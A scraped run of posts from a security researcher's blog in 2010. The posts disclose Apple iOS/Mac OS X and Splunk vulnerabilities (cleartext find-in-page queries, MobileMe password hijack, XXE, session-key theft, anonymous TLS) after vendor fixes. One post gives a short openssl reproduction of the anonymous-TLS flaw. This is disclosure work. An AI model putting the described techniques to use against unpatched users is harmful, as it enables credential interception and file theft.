$response->content; } else { die $response->status_line; }</span></span></div></div><div><br />
</div><div>This seems like a pretty dangerous, hard to use interface. I've reached out to some people in the perl community about trying to fix this. I'm interested in your comments. Hopefully reading this has not been a waste of your time.</div><br />
</div><blockquote><div></div></blockquote>aaronhttp://www.blogger.com/profile/13938049864104760764noreply@blogger.com1tag:blogger.com,1999:blog-5783873584893336688.post-5438274555735267792010-12-05T15:49:00.000-08:002010-12-05T16:41:07.373-08:00iOS Safari text search - a feature that boldly ignores user privacy and securityIn case you missed it, Apple added a new feature -- one that I don't understand how they haven't had until now -- the ability to search for text in the current page. They must have thought pretty highly of it, given that they tout it on their main iOS feature page (<a href="http://www.apple.com/ios/">here</a>). Here's their description of the feature:<br />
<br />
<span class="Apple-style-span" style="color: #333333; font-family: 'Lucida Grande', 'Lucida Sans Unicode', Arial, Verdana, sans-serif; font-size: 14px; line-height: 20px;"><b>In Safari, you can do a quick text search to find and highlight specific words and phrases on even the longest web pages.</b></span><br />
<span class="Apple-style-span" style="color: #333333; font-family: 'Lucida Grande', 'Lucida Sans Unicode', Arial, Verdana, sans-serif; font-size: 14px; line-height: 20px;"><b><br />
</b></span><br />
<span class="Apple-style-span" style="color: #333333; font-family: 'Lucida Grande', 'Lucida Sans Unicode', Arial, Verdana, sans-serif; font-size: medium;"><span class="Apple-style-span" style="font-size: 14px; line-height: 20px;">I'm highlighting this feature because the way this feature works is ridiculous. I mean, staggeringly ridiculous.</span></span><br />
<span class="Apple-style-span" style="color: #333333; font-family: 'Lucida Grande', 'Lucida Sans Unicode', Arial, Verdana, sans-serif; font-size: medium;"><span class="Apple-style-span" style="font-size: 14px; line-height: 20px;"><br />
</span></span><br />
<span class="Apple-style-span" style="color: #333333; font-family: 'Lucida Grande', 'Lucida Sans Unicode', Arial, Verdana, sans-serif; font-size: medium;"><span class="Apple-style-span" style="font-size: 14px; line-height: 20px;">1. You go to a web page</span></span><br />
<span class="Apple-style-span" style="color: #333333; font-family: 'Lucida Grande', 'Lucida Sans Unicode', Arial, Verdana, sans-serif; font-size: medium;"><span class="Apple-style-span" style="font-size: 14px; line-height: 20px;">2. You start entering the text you want to find in the search box</span></span><br />
<span class="Apple-style-span" style="color: #333333; font-family: 'Lucida Grande', 'Lucida Sans Unicode', Arial, Verdana, sans-serif; font-size: medium;"><span class="Apple-style-span" style="font-size: 14px; line-height: 20px;">3. If your search term is found in the page, the you'll see it in the search results and can select it to be found in the current web page.</span></span><br />
<span class="Apple-style-span" style="color: #333333; font-family: 'Lucida Grande', 'Lucida Sans Unicode', Arial, Verdana, sans-serif; font-size: medium;"><span class="Apple-style-span" style="font-size: 14px; line-height: 20px;"><br />
</span></span><br />
<span class="Apple-style-span" style="color: #333333; font-family: 'Lucida Grande', 'Lucida Sans Unicode', Arial, Verdana, sans-serif; font-size: medium;"><span class="Apple-style-span" style="font-size: 14px; line-height: 20px;">Here are some screenshots of this in action searching for "iPhone" at https://www.paypal.com (note the nice green EV title!):</span></span><br />
<span class="Apple-style-span" style="color: #333333; font-family: 'Lucida Grande', 'Lucida Sans Unicode', Arial, Verdana, sans-serif; font-size: medium;"><span class="Apple-style-span" style="font-size: 14px; line-height: 20px;"><br />
</span></span><br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzVsdgeH3hWrhaZqpKaTj3NMW7egshJy7oR9hTkxhRIZuCxVXjvzktY6uDY2ICs5ieLE0ZxfGoVHhkOeGAb6VRnymkgamH0Rixb61D0NGsEL_n3PajqCSZ7BQkRMo6cOo2-NGfQd_3bhc/s1600/search1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzVsdgeH3hWrhaZqpKaTj3NMW7egshJy7oR9hTkxhRIZuCxVXjvzktY6uDY2ICs5ieLE0ZxfGoVHhkOeGAb6VRnymkgamH0Rixb61D0NGsEL_n3PajqCSZ7BQkRMo6cOo2-NGfQd_3bhc/s320/search1.png" width="214" /></a></div><br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAXmQ3uP-PXdfnF4kbyLCf75kMM7AmAs8jUquuz5n-alrJ_nKOynkIZZhlCVbG7yrDwtOrGSm9aNN-eB_iKRhQ4AmpYc6-N76v7i5f0IinngrrHVBKAaE6LEgQuRbbJ0zKjdGCjkj_r6U/s1600/search2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAXmQ3uP-PXdfnF4kbyLCf75kMM7AmAs8jUquuz5n-alrJ_nKOynkIZZhlCVbG7yrDwtOrGSm9aNN-eB_iKRhQ4AmpYc6-N76v7i5f0IinngrrHVBKAaE6LEgQuRbbJ0zKjdGCjkj_r6U/s320/search2.png" width="215" /></a></div><span class="Apple-style-span" style="color: #333333; font-family: 'Lucida Grande', 'Lucida Sans Unicode', Arial, Verdana, sans-serif; font-size: medium;"><span class="Apple-style-span" style="font-size: 14px; line-height: 20px;"><br />
</span></span><br />
<span class="Apple-style-span" style="color: #333333; font-family: 'Lucida Grande', 'Lucida Sans Unicode', Arial, Verdana, sans-serif; font-size: medium;"><span class="Apple-style-span" style="font-size: 14px; line-height: 20px;"><br />
</span></span><br />
And the corresponding request:<br />
<br />
<br />
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><span class="Apple-style-span" style="color: blue;">GET /complete/search?json=t&nolabels=t&client=iphonesafari&q=iPhone HTTP/1.1</span></div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><span class="Apple-style-span" style="color: blue;">Host: clients1.google.com</span></div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><span class="Apple-style-span" style="color: blue;">User-Agent: Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5</span></div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><span class="Apple-style-span" style="color: blue;">Accept: */*</span></div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><span class="Apple-style-span" style="color: blue;">Accept-Language: en-us</span></div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><span class="Apple-style-span" style="color: blue;">Accept-Encoding: gzip, deflate</span></div><br />
<br />
Okay, so what's wrong with this? Clearly anyone using this interface knows they are typing data into the search box from Google (or whatever search engine is selected).<br />
<br />
Wait, stop, what?<br />
<br />
You mean they designed a brand new feature to let you search the text of the current page, but only on the condition that you give up your privacy and security by sending it cleartext over the wire to your search provider and everyone watching the network? Yes.<br />
<br />
Well, it's a good thing that sniffing local networks is not much of an issue.. oh wait.. ever heard of FireSheep? The fact that FireSheep caused such problems not only highlighted the lack of basic encryption on popular websites, but also that there are indeed often attackers on the network sniffing your data.<br />
<br />
I've always been a big fan of the way Apple makes user interfaces work. The settings I need are normally right where I'd look for them, nice and integrated with each other. Whoever made this feature was probably hoping for that kind of elegance, but clearly fell on their face. <br />
<br />
Here's why I think so:<br />
<br />
1. You shouldn't force users to do something insecure to get the job done. Users will do that insecure thing, and you really can't blame them. They need to get their job done on their smart phone.<br />
<br />
2. You shouldn't mix security context in such an irresponsible way. I doubt most users understand they are sending this data cleartext over the wire, for everyone to see. A traditional text search in a web page doesn't do this. I'm not sure why you think users will get it. Especially since they probably have faith that Apple will do its job properly.<br />
<br />
This was a fail. Apple is setting users up for failure. There is absolutely no reason for this data to be disclosed, let alone in the clear, on the wire in order to search on the current web page.<br />
<br />
I urge Apple to fix this, because they are good enough, smart enough, and doggone it people like them. Also, it's about to be 2011. You should make a new years resolution not to let people work on Safari UI who don't understand at least the basics of web security.aaronhttp://www.blogger.com/profile/13938049864104760764noreply@blogger.com2tag:blogger.com,1999:blog-5783873584893336688.post-27194924639869044272010-11-22T11:28:00.000-08:002010-11-22T11:33:31.109-08:00Apple's iOS 4.2.1 addresses two iPhone security issues that I found<span class="Apple-style-span" style="font-family: Helvetica;">Apple released iOS 4.2.1 today, which addresses two bugs I found and reported to them. Their description of the issues are pretty accurate, but I do have some additional comments. </span><span class="Apple-style-span" style="font-family: Helvetica;">You can check out Apple's description of these bugs at </span><span class="Apple-style-span" style="font-family: Helvetica;"><a href="http://support.apple.com/kb/HT1222">http://support.apple.com/kb/HT1222</a></span><br />
<span class="Apple-style-span" style="font-family: Helvetica;"><br />
</span><br />
<span class="Apple-style-span" style="font-family: Helvetica;">Apple has included this text in the description for both bugs: "</span><span class="Apple-style-span" style="font-family: Helvetica;">An attacker with a privileged network </span><span class="Apple-style-span" style="font-family: Helvetica;">position may...". I do not agree with this. We have seen countless demonstrations of data on the internet traveling through networks it is not supposed to because of attacks using BGP, DNS, and other protocols. I feel like this wording should be reserved for cases where the attacker has to do something more than hijack data over the public internet. For example, if you must be able to get on some private internal network, like a 10.x network inside the attacker's house, perhaps that is a privileged network position. I don't think China was in a privileged network position when they (supposedly?) hijacked traffic destined for US websites.</span><br />
<span class="Apple-style-span" style="font-family: Helvetica;"><br />
</span><br />
<span class="Apple-style-span" style="font-family: Helvetica;">I understand that these attacks are much easier if you are on the local network of the victim. I just think the days of implying this is the extent of the problem are long over. It is possible Apple did not intend to imply this -- and I just wanted to make sure I clarified how I see the risk.</span><br />
<span class="Apple-style-span" style="font-family: Helvetica;"><br />
</span><br />
<span class="Apple-style-span" style="font-family: Helvetica;"><b>1. Photos.app CVE-2010-3831</b></span><br />
<span class="Apple-style-span" style="font-family: Helvetica;">Using this vulnerability, someone in a "privileged network position" (read: Pretty much anyone on the internet) could hijack your MobileMe password. Users of MobileMe understand that this is more than just access to your photo album. While that may be embarrassing, access to your MobileMe provides a ton of services which an attacker would find useful. I guess webmail is probably a more realistic target.</span><br />
<span class="Apple-style-span" style="font-family: Helvetica;">To be vulnerable, you had to attempt to post an image from your iPhone to your MobileMe Gallery.</span><br />
<span class="Apple-style-span" style="font-family: Helvetica;"><br />
</span><br />
<span class="Apple-style-span" style="font-family: Helvetica;"><b>2. iAd Content Display </b></span><span class="Apple-style-span" style="font-family: Helvetica;"><b>CVE-2010-3828</b></span><br />
<span class="Apple-style-span" style="font-family: Helvetica;">An attacker leveraging this issue could cause an iPhone application that has implemented iAds to automatically FaceTime dial a destination of their choice. I originally believed this was a lot more severe because applications can run in the background. However in my testing iAd content was never accessed by applications unless they were frontmost. Of course, if you leave Safari open and the application can be launched via a URL handler it may be possible to cause something that was not previously frontmost to trigger a phone call.</span><br />
<span class="Apple-style-span" style="font-family: Helvetica;">I suppose that makes it similar in some respects to the issue Nitesh recently highlighted using Skype as an example when talking about URL handling on the iPhone (</span><span class="Apple-style-span" style="font-family: Helvetica;"><a href="http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html">link</a></span><span class="Apple-style-span" style="font-family: Helvetica;">).</span><br />
<span class="Apple-style-span" style="font-family: Helvetica;"><br />
</span><br />
<span class="Apple-style-span" style="font-family: Helvetica;">I would like to thank Apple's Product Security team for getting these issues addressed quickly and for providing me updates about the status of the issues as they were being addressed. I just installed the update, which appears to address a ton of other serious issues. I recommend everyone go install it now.. unless you need to keep your device vulnerable so you can test your exploit modules :)</span><br />
<span class="Apple-style-span" style="font-family: Helvetica;"><br />
</span><br />
<span class="Apple-style-span" style="font-family: Helvetica;">Aaron</span><br />
<span class="Apple-style-span" style="font-family: Helvetica;"><br />
</span>aaronhttp://www.blogger.com/profile/13938049864104760764noreply@blogger.com0tag:blogger.com,1999:blog-5783873584893336688.post-23301747768035432222010-09-10T09:01:00.000-07:002010-09-10T09:09:01.931-07:00Splunk releases 4.1.5 to address SPL-31061 and SPL-31094<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">Splunk 4.1.5 addresses XXE and CSRF issues</div><div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;"><br />
</div><div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">Splunk was really cool to coordinate with by being responsive, communicative, and open. I was really impressed with their professionalism.</div><div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;"><br />
</div><div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">About the bugs:</div><div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;"><br />
</div><div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">1. XXE</div><div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;"><br />
</div><div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"><span class="Apple-tab-span" style="white-space: pre;"> </span>XXE bugs are fun. For a good example of how XXE bugs work, I'd point at the following advisory by Chris Evans:</div><div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;"><br />
</div><div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"><a href="http://scary.beasts.org/security/CESA-2009-006.html">http://scary.beasts.org/security/CESA-2009-006.html</a></div><div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;"><br />
</div><div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"><span class="Apple-tab-span" style="white-space: pre;"> </span>Note that in the above bug the XXE existed on the client, allowing an attacker to access the client's local files. In this case the XXE occurs on the server side, so your external entity can point at a resource accessible to Spunk. (Steal files off the server.)</div><div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;"><br />
</div><div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">2. CSRF (because it feels dirty to use Fortify's term "Javascript Hijacking")</div><div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;"><br />
</div><div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"><span class="Apple-tab-span" style="white-space: pre;"> </span>Certain requests returned Javascript containing the Splunk session key. Attackers could include that script in a malicious page, and obtain the user's session key.</div><div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;"><br />
</div><div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">Their advisory is available at: </div><div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;"><br />
</div><div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;"><a href="http://www.splunk.com/view/SP-CAAAFQ6">http://www.splunk.com/view/SP-CAAAFQ6</a></div>aaronhttp://www.blogger.com/profile/13938049864104760764noreply@blogger.com0tag:blogger.com,1999:blog-5783873584893336688.post-48780226038225753752010-09-08T10:29:00.000-07:002010-09-08T12:55:36.779-07:00Apple fixes CVE-2010-1810 in iOS 4.1<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">Apple's description from http://support.apple.com/kb/HT4334 :</div><div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"><br />
</div><blockquote>FaceTime</blockquote><blockquote>CVE-ID: CVE-2010-1810</blockquote><blockquote>Available for: iOS 2.0 through 4.0.2 for iPhone 3G and later,</blockquote><blockquote>iOS 2.1 through 4.0.2 for iPod touch (2nd generation) and later</blockquote><blockquote>Impact: An attacker in a privileged network position may be able to</blockquote><blockquote>redirect FaceTime calls</blockquote><blockquote>Description: An issue in the handling of invalid certificates may</blockquote><blockquote>allow an attacker in a privileged network position to redirect</blockquote><blockquote>FaceTime calls. This issue is addressed through improved handling of</blockquote><blockquote>certificates. Credit to Aaron Sigel of <a href="http://vtty.com/"><span class="Apple-style-span" style="color: black;">vtty.com</span></a> for reporting this</blockquote><blockquote>issue.</blockquote><div><span class="Apple-style-span" style="font-family: Helvetica; font-size: small;"><span class="Apple-style-span" style="font-size: 12px;">The difference between redirecting and fully Man-in-the-middle attacking FaceTime is kind of <s>big</s> gigantic, but this still leaves room for certain attacks. As a side note, I wonder if those guys from packetstan.com are planning on issuing any retractions from their FaceTime analysis.</span></span></div><div><span class="Apple-style-span" style="font-family: Helvetica; font-size: small;"><span class="Apple-style-span" style="font-size: 12px;"><br />
</span></span></div>aaronhttp://www.blogger.com/profile/13938049864104760764noreply@blogger.com0tag:blogger.com,1999:blog-5783873584893336688.post-24215200222005677642010-08-24T18:44:00.000-07:002010-08-24T18:49:51.787-07:00Apple fixes CVE-2010-1800 in Security Update 2010-005<div style="color: #333333; font-family: 'Lucida Grande', Geneva, Arial, Verdana, sans-serif; font-size: 12px; line-height: 18px; margin-bottom: 18px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><br />
Apple just fixed an issue I reported to them.<br />
<br />
To quote Apple's Security Update 2010-005 advisory text:</div><div style="font-family: 'Lucida Grande', Geneva, Arial, Verdana, sans-serif; font-size: 12px; line-height: 18px; margin-bottom: 18px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><span class="Apple-style-span" style="color: #134f5c;">CVE-ID: CVE-2010-1800</span></div><div style="font-family: 'Lucida Grande', Geneva, Arial, Verdana, sans-serif; font-size: 12px; line-height: 18px; margin-bottom: 18px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><span class="Apple-style-span" style="color: #134f5c;">Available for: Mac OS X v10.6.4, Mac OS X Server v10.6.4</span></div><div style="font-family: 'Lucida Grande', Geneva, Arial, Verdana, sans-serif; font-size: 12px; line-height: 18px; margin-bottom: 18px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><span class="Apple-style-span" style="color: #134f5c;">Impact: An attacker with a privileged network position may intercept user credentials or other sensitive information</span></div><div style="font-family: 'Lucida Grande', Geneva, Arial, Verdana, sans-serif; font-size: 12px; line-height: 18px; margin-bottom: 18px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><span class="Apple-style-span" style="color: #134f5c;">Description: CFNetwork permits anonymous TLS/SSL connections. This may allow a man-in-the-middle attacker to redirect connections and intercept user credentials or other sensitive information. This issue does not affect the Mail application. This issue is addressed by disabling anonymous TLS/SSL connections. This issue does not affect systems prior to Mac OS X v10.6.3. Credit to Aaron Sigel of vtty.com, Jean-Luc Giraud of Citrix, Tomas Bjurman of Sirius IT, and Wan-Teh Chang of Google, Inc. for reporting this issue.</span></div><div style="font-family: 'Lucida Grande', Geneva, Arial, Verdana, sans-serif; font-size: 12px; line-height: 18px; margin-bottom: 18px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">In other words, this means you can be any site, with a lock, as long as you can do some DNS trickery. Try for yourself:</div><div style="font-family: 'Lucida Grande', Geneva, Arial, Verdana, sans-serif; font-size: 12px; line-height: 18px; margin-bottom: 18px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">1. <span class="Apple-style-span" style="font-family: Helvetica; line-height: normal;">openssl s_server -debug -accept 8080 -nocert -cipher 'ALL:NULL'</span></div><div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">2. https://127.0.0.1:8080/</div><div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"><br />
</div><div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">You'd normally want an error to show up there.... looks like this didn't go totally unnoticed, though!</div><div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"><br />
</div><div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">Props to cstone!</div><div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"><br />
</div><div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;"><br />
</div>aaronhttp://www.blogger.com/profile/13938049864104760764noreply@blogger.com